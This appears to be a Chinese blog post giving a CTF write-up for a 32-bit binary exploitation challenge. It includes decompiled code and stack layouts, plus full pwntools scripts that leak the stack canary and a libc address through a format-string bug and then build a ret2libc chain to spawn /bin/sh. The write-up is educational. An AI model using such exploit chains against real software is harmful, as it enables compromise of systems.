mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
440 字
1 分钟
writeUp12.12
2025-12-12

PWN1#

使用 checksec ./pwn1

~#@❯ checksec ./pwn1
[*] '/home/yoyo/yoyo_dir/MyProject/aboutPwn/work/date12_12/pwn1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: Not

发现存在栈金丝雀

将其拖入 IDA 发现函数 func 中存在gets 栈溢出漏洞, gift 函数中存在格式化字符串漏洞

unsigned int __cdecl func(int a1)
{
char s[32]; // [esp+1Ch] [ebp-2Ch] BYREF
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("overflow me : ");
gets(s);
if ( a1 == -889275714 ) // a1 -> arg0 = 0xcafebabe
// 0xdeadbeef -> 0xcafebabe
gift();
else
puts("Nah..");
return __readgsdword(0x14u) ^ v3;
}
unsigned int gift()
{
char buf[6]; // [esp+16h] [ebp-22h] BYREF
_BYTE buf_[16]; // [esp+1Ch] [ebp-1Ch] BYREF
unsigned int v3; // [esp+2Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
read(0, buf, 6u);
printf(buf);
printf("username: ");
read(0, &name, 0x50u); // bss 写入
printf("password: ");
read(0, buf_, 0x24u);
return __readgsdword(0x14u) ^ v3;
}

通过分析栈func,gift 函数的栈帧发现 只有使得 变量a1 的值 为0xcafebab 的时候 可以劫持条件分支语句

// func STACK
-000000000000002F // padding byte
-000000000000002E // padding byte
-000000000000002D // padding byte
-000000000000002C char s[32];
-000000000000000C _DWORD var_C; // canary
-0000000000000008 // padding byte
-0000000000000007 // padding byte
-0000000000000006 // padding byte
-0000000000000005 // padding byte
-0000000000000004 // padding byte
-0000000000000003 // padding byte
-0000000000000002 // padding byte
-0000000000000001 // padding byte
+0000000000000000 _DWORD __saved_registers;
+0000000000000004 _UNKNOWN *__return_address; //
+0000000000000008 _DWORD arg_0; // a1
// gift STACK
-0000000000000028 _DWORD var_28;
-0000000000000024 // padding byte
-0000000000000023 // padding byte
-0000000000000022 _BYTE buf; // buf fmt
-0000000000000022 // 6
-0000000000000021 // padding byte
-0000000000000020 // padding byte
-000000000000001F // padding byte
-000000000000001E // padding byte
-000000000000001D // padding byte
-000000000000001C _BYTE var_1C[16]; // buf_[16] 8 4
-000000000000000C _DWORD var_C;
-0000000000000008 // padding byte
-0000000000000007 // padding byte
-0000000000000006 // padding byte
-0000000000000005 // padding byte
-0000000000000004 // padding byte
-0000000000000003 // padding byte
-0000000000000002 // padding byte
-0000000000000001 // padding byte
+0000000000000000 _DWORD __saved_registers;
+0000000000000004 _UNKNOWN *__return_address;

所以 现在题目可分为如下阶段

  1. 劫持分支到gift
  2. 通过gift 函数内部的fmt 格式化字符串漏洞以及栈溢出漏洞,先后泄露出 栈金丝雀值和libc的基地址
  3. 再通过main 函数的栈溢出 调用system("/bin/sh") 获取shell

EXP#

  1. 绕过分支
payload = b"a" * 52
payload = p32(0xcafebabe)

这里使用 b”aaaa” 充当假的canary, 所以在之后重新调用main的时候, 需要修复栈中的canary,防止canary检测导致失败,

  1. 获取canary & libcbase

这里使用 python 脚本打印出所有地址

def findlibcFormat() -> None:
context.log_level = "info"
for i in range(25):
elf = ELF("./pwn1")
p = process("./pwn1")
giftAddr = elf.symbols["gift"]
payload = b"a" * 52
payload += p32(0xcafebabe)
p.recvuntil(b"overflow me : ")
p.sendline(payload)
p.sendline(b"%11$p") # canary ->
leakAddrStr = p.recv(10)
leakAddr = int(leakAddrStr, 16)
canary = leakAddr
log.success(f"leakAddr: {hex(canary)}")
p.recvuntil(b"username: ")
payload = flat([
b"a" * 16,
p32(canary),
b"b" * 8,
b"c" * 4,
p32(giftAddr)
])
p.sendline(b"a")
p.recvuntil(b"password: ")
p.send(payload)
p.sendline(f"%{i + 1}$p")
print(f"%{i + 1}p ==> {p.recv()}")
p.close()

这里发现当%11$p时候,存在明显的栈金丝雀特征(00结尾),通过pwndbg 调试验证发现确实是canary

同时发现:%15$p, %16$p, %20$p, 泄露出来的地址,为实际上libc上地址,这里选择 %16$p 计算到基地址的偏移: 为0x230e34

所以可以出现如下利用脚本

elf = ELF("./pwn1")
libc = ELF("/usr/lib/i386-linux-gnu/libc.so.6")
p = process("./pwn1")
giftAddr = elf.symbols["gift"]
log.success(f"giftAddr: {hex(giftAddr)}")
mainAddr = elf.symbols["main"]
log.success(f"mainAddr: {hex(mainAddr)}")
payload = b"a" * 52
payload += p32(0xcafebabe)
# payload += p32(0xcafebabe)
p.recvuntil(b"overflow me : ")
p.sendline(payload)
p.sendline(b"%11$p") # canary ->
leakAddrStr = p.recv(10)
leakAddr = int(leakAddrStr, 16)
canary = leakAddr
log.success(f"leakAddr: {hex(canary)}")
# p.interactive()
p.recvuntil(b"username: ")
# bss1 ->
# leave; ret
leave = 0x08049138
payload = flat([
b"a" * 16,
p32(canary),
b"b" * 8,
b"c" * 4,
p32(giftAddr)
])
p.sendline(b"")
p.recvuntil(b"password: ")
p.send(payload)
p.sendline(b"%16$p")
print()
# print(f"pwndbg -p {p.pid}")
offset = 0x00230e34
leakAddrStr = p.recvuntil(b"\n")
leakAddr = int(leakAddrStr, 16)
libcbase = leakAddr - offset
systemAddr = libcbase + libc.symbols["system"]
binshAddr = libcbase + next(libc.search("/bin/sh\x00"))
  1. 获取shell,这里存在两个选择
  • 使用gift 函数的 read(0, &name, 0x50u); 这里的 name 是 在bss段上的变量,同时使用 ROPgadget 存在 leave;ret的 gadget,所以可以在bss段上布置栈,然后通过read(0, buf_, 0x24u);将栈迁移到bss段上攻击
  • 跳转回main函数,因为这这里的gets 函数,没有输出限制,可以直接将整个获取shell的ROP布置到栈上

这里选择使用 main函数的方案

payload = flat([
b"a" * 16,
p32(canary),
b"b" * 8,
b"c" * 4,
p32(mainAddr)
])
p.send(payload)
p.recv()
p.send(payload)
p.recv()
payload = flat([
b"a" * 32,
p32(canary),
b"b" * 8,
p32(0),
p32(systemAddr),
p32(binshAddr),
p32(binshAddr)
])

最终得到 shell 获取flag

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

writeUp12.12
https://yoyolp.github.io/posts/12/13/
作者
超级玉米人
发布于
2025-12-12
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录